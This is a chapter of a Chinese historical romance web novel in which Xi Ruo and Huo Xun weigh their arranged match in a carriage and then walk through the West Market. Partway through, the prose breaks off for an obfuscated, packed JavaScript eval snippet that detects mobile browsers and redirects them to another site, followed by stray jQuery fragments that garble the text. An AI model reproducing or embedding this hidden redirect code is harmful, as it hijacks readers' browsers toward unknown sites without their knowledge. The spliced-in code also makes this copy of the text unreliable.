息偌也不明白为什么，心脏忽然仿佛擂鼓。


    她只是知道他这一句话，和之前逗弄她的玩笑话不一样。


    许是因为霍恂身体不好，马车的内壁也封得厚实，街上的人声都隔绝在外，遥遥的并不清晰，只有他的声音近在咫尺。


    “你不必将我们的事想得太差。我说过，你不了解我，不必急着拒绝。我没有那个闲情，成日以家宅不宁为乐。对你而言，我虽不是好的选择，但不会更坏了。”


    他又对她重复了一遍。


    “你别怕。”


    息偌其实有些不大懂。


    他是陛下的表弟，必然是与陛下站在一边，那就注定和息停不在一边。他那样聪明，肯定能看清息停想要先下手的意向，那就不该同意此事。


    他若是不肯同意这桩婚事，要么在息停发出邀请的时候就该拒绝，要么就该在自己面前表现得差劲一些，推动着自己回去哭闹。


    而他要她别害怕、别拒绝，又仿佛是想要促成这桩婚事一般。


    但若想要促成此事，故意说那些难听话来吓她又是为什么呢？


    息偌不理解，也不能贸然接口，便别开头不再看他。只是此地到底离西市太近，很快就到了街前。


    她有些犹豫，在看见他准备起身伸手时，率先拉住他衣摆拦住了他的动作。


    雁行在外要开车门，被他低声唤止。霍恂转头来看她的脸，无声问询她是何意。


    息偌眉心微紧，道：“若是在此处下了车，就没什么余地了。我不知道我想的对不对，但你和我长兄，似乎都很希望这桩婚事能成。”


    霍恂看着她，想，她是被息停一路带去了茶楼，又是被自己一路带来了西市，虽不知息停在家将她劝解到了几分，但凭她方才那种迫不及待想要离开的姿态，便知她心中并不情愿。


    他从前在清都，日子过得快意自由，只要不触及根本原则，父母并不对他行事做太多插手。他知道凡事讲求你情我愿，强取来的多半都没什么意思。


    她在他眼中，是个很有意思的小姑娘，但如果强行押着她下了车，大约她也就会变得不那么有意思。


    就像在他园子里枯萎的花草，在他屋檐下锁足的鸟雀，眼见着从生机勃勃变得死气沉沉，总是让人遗憾的。


    她和花草鸟雀更不一样。


    她还没有改变，而他已经在为此感到担忧，她是比花草鸟雀更让他心中在意的那一个。


    霍恂一念之间，便将扶门的手收了回来。


    他收回了这一路以来的阻拦和禁锢，与她道：“我先前因守孝，一直不曾议亲。陛下召我入京，也有盘算此事的意图。你长兄同我谈起此事，我的确是觉得，选你要比选择其他贵女要强上许多。这回相见，我是认真的。”


    息偌忘了自己还攥着他的衣摆，指尖缓缓收紧了，道：“你都不认识我。”


    霍恂又扯了扯唇角，道：“今日不就认识了吗？”


    息偌不知道这算不算是一个笑。今日相见，霍恂看着她不知笑了多少次，每一次都让她感觉不同。这个笑也与前面的不一样，但她一如之前不解其意。


    霍恂倒也没急着下车，好整以暇地问她道：“你心中觉得如何呢？”


    他坐正了，身形微微一动，将衣摆带得平整。息偌感觉到手下一动，才后知后觉地松开了手指。


    她坐在他对面，向车壁靠了靠，脊背绷得笔直，道：“我觉得你讨厌息家。”


    他面对息停的时候，气势那般锋利，半分也不肯弱于对方；他面对她的时候，又披不住温和的外衣，忍不住要说她愚蠢。


    谁见了不会觉得他讨厌息家呢？


    霍恂没有被指控的尴尬，也没有反驳什么，十分从容地与她道：“世家之祸深矣。我的确不大喜欢世家，并不只针对你家。”


    息偌活了这么大，听说过的朝堂政见并不太多，家中的父兄叔伯们是很不爱在女眷面前谈论这些的。


    但霍恂当真与旁人不一样。他并不觉得饮茶观雪的谈笑或是指点国家弊病之间有什么高下之分、男女之分，他在两种截然不同的话题之中转换自如，并不在她面前做什么掩饰。


    他并不因为息偌是女子，就避于谈论，反而因为她是女子，将话说得很是明白。


    在家中时，息偌只能勉强揣测息停的艰难和息家的困境，但今日出来与霍恂对面交谈时，即便只有三言两语，她反而很直观地感受到了世家与皇权之间的对峙抗衡。


    她也是世家女，她也身处旋涡之内。他说了，息停想用她来换息家，她原本就该是有知情权的。


    息偌心里动了动。


    这是她很难得的、能感觉到女子并不只是世家烈火烹油鲜花着锦时的美丽装饰、也是如临深渊如履薄冰时的稳固后盾的时刻。


    她不自觉就挺直了脊背，用很坚决的姿态、很认真的目光、很严肃的口吻对他道：“我知道你们看世家不顺眼，世家之间也的确有不少蛀虫。但各家各人行事不同，犯不上一竿子打死。你定论之前，总要仔细看一看罢？”


    一个乖巧听话的女孩儿家，在竭尽全力地为自己和家人抗争。霍恂难免被这样的姿态吸引，用一双漂亮又潋滟的眼睛回望她道：“对。所以现在我邀的是你息四娘子，不是别家的什么人。”


    他说话实在太跳脱了。从相看到国事，又轻轻巧巧地回到了一句“息四娘子”。


    这句话原本不该有什么，可他的眼睛太明亮了，将这话也染上三分暧昧之色，将这句“息四娘子”凸显得十分特别，仿佛她就是与别家的所有人都不一样，就只有她不一样。


    息偌是个女孩子，女孩子都会因这样的特殊而心动。


    她手指在袖中绞紧了，细长的眉梢向上一扬，虽非故意，却仍旧流露出了一种娇憨之色。


    她道：“你莫要觉得息四娘子就比别家娘子好欺负……我是息家的女儿！”


    霍恂又一笑，眉目很是灿然，话也答得明白。


    “明白。你永远都是息家的女儿。”


    所以将来，即便皇室真与世家出了分歧，他也不会强求她舍下家人，和他站在一边。


    息偌明白他的意思了。


    她又仔仔细细地将他上下打量了一遍。


    他生得好看，长得聪明，不会失她的脸面；他明白彼此的处境，有心促成此事，态度还算积极，也提前说好了可能会有的分歧，立场也算明确。


    实话说，息偌来前心中所想的那些基本要求，他已经做到了符合。虽然他也偶有那么几回做不到温和，露出了些尖锐的态度和言辞——


    但换言之，他并未借全程的温柔假象来诓骗她，最起码他从房门推开的那个瞬间，他就已经露出了自己的本相。


    来时，她是个被家族推动操纵的无力女子，但在此处，无论有意还是无意，他已经给了她看清形势、做好准备、原地回头的选择了。


    息偌觉得自己可以做出判断了。


    她伸手将自己的厚氅拢了拢，偏开头道：“街上的雪还没化完，我走累了，还要回车上来的。”


    下了车，她才是真正的没有回头路了。


    这回倒是霍恂惊讶了。他没想到她这样快就做好了决定，挑着眉望她一遍，心里竟生出了些对她胆量的赞许，而后笑着推门下了马车。


    地面的积雪虽然已经被清扫过了，但砖缝间仍余了残雪，在阳光的照耀下反射出晶莹的光芒。他的靴底踩在青砖地面，踏出很轻微的细碎声响。


    霍恂心情大好，回身去扶息偌。


    息偌被他抓着手腕，没踩马车边摆好的矮凳，直接就从车上跳了下来。


    她问道：“看见没？”


    霍恂以为她还是车上低落的状态，听她此问，没反应过来，问道：“什么？”


    她挑着细长秀致的眉毛，一双小鹿眼晶晶亮，反驳他之前在茶楼说的那句“怕她摔”的玩笑话，道：“地上有雪，我没摔。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373538|168229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    霍恂看着她，顿了一瞬，将右手抬高，举到她的眼前，问道：“看见没？”


    息偌不解道：“什么？”


    霍恂眉眼温柔舒展，道：“我扶着你呢。”


    艳阳白雪下，那一刻他笑得格外好看。


    息偌心里由衷道：狐狸精。


    她飞快打断自己的怔忪，问道：“西市不小也不大，你要逛哪里？”


    霍恂右手没有松，拉着她向前走去，随口道：“逛一圈。”


    息偌停在原地没动，有些不可思议道：“你知道西市多大吗？逛一圈？”


    霍恂站在她身前，凑近她低声道：“你我相看的消息很快就会传开，但大家未必会信我们能成。今日.你我头回见面，就立刻同乘了马车，又一起逛了西市。人多口杂，这事可信度就有七分了。”


    息偌故意道：“我与别家几位兄长也一起逛过的，哪里就能传得人尽皆知？”


    霍恂便笑道：“或者你非要在这里和我吵架也行，只要你不觉得丢脸。”


    息偌不怕被人议论，但怕丢脸，让她站在西市街口对着霍恂学泼妇骂街，她死也干不出这件事。


    她迅速迈步向前走去，道：“快走罢，早转早回家。”


    霍恂站在她背后低声地笑，而后迈步跟上她，走到了她的身边去。


    息偌听见他的笑声了，偏着头却故意不看他。她想若是将来成了婚，他也要这样故意惹她吗？她不想被人惹，她从前被惹的次数够多了。


    她想要被人好好哄着捧着。


    而下一刻，她便听见他问道：“喜欢什么？”


    息偌回头瞥了他一眼，他目光透过行人看向沿街的店铺和商贩，好像真是个来体验宁都西市繁华的公子哥儿一样。


    他瞧着心情不错，就好像此刻她说要，他就当真会给她都买下来似的。


    她的确不用担心他的家底支撑不起她丰富的生活，即便世家之财力已经远胜皇族，但终归这些人也还是富集天下的贵胄。


    息偌目光来回地晃，晃完以后实话实说道：“这儿有的我都有。”


    但霍恂没有因为她的富裕而罢手旁观。他当真是好好看了看街边的铺子，最后进店挑了一只玉香囊买下送给了她。


    那玉质的品相还算不错，虽比起宫中和大家族里打造的物件普通了些，但好在三十二面花鸟纹样足够精巧活泼，戴在身上也不算辱没了她。


    息偌原本只是想收下了放在盒子里的。


    但巧就巧在，她一侧身，就见到郑沁和几个小姐妹站在街对面的首饰铺里，看戏似的看着他们两个人。


    她是绝不可能在郑沁面前输阵的！


    息偌当即把自己的配香放进了这玉香囊里，伸手将它挂在了腰间。


    霍恂当然瞧见了她看向对面的动作，他的反应也很给她面子。他就好像真的很喜欢她似的，见她如此做了，笑出了一种十分开心的模样。


    这一场声势浩大的表演已经十分完美，息家的马车听从息停的命令，一路在后跟随，此刻终于来到了他们不远之处。


    入冬的天色已晚，夕阳的余晖将近，城门关闭的鼓声厚重地响。宁都又变成封闭而孤独的蛰伏巨兽，走出去的人逃出生天，留下来的人被吞噬裹挟。


    息偌站在自家马车前对霍恂微笑告辞，转身踏上马车。小盼跟在她后面上来，轻轻关上了车门，将渐起的寒风隔绝在外。


    息偌今日折腾这一回，实在也是疲惫，卸下劲来坐在车中，也懒得说话了。待马车终于停在息府门前，才懒懒地理了裙摆准备起身。


    小盼刚将车门开了半扇，感觉有人在外面顶着门，伸头只看见息忍的背影。她挤出门来，待看清了，反手就把门甩上了。


    到门边的息偌：？？？


    要不是她退得快，脸都能被扇花了。


    息偌一下没反应过来，刚打算张口发问，就听见车门外有个熟悉的声音叫了她一声。


    “曼曼，出来。”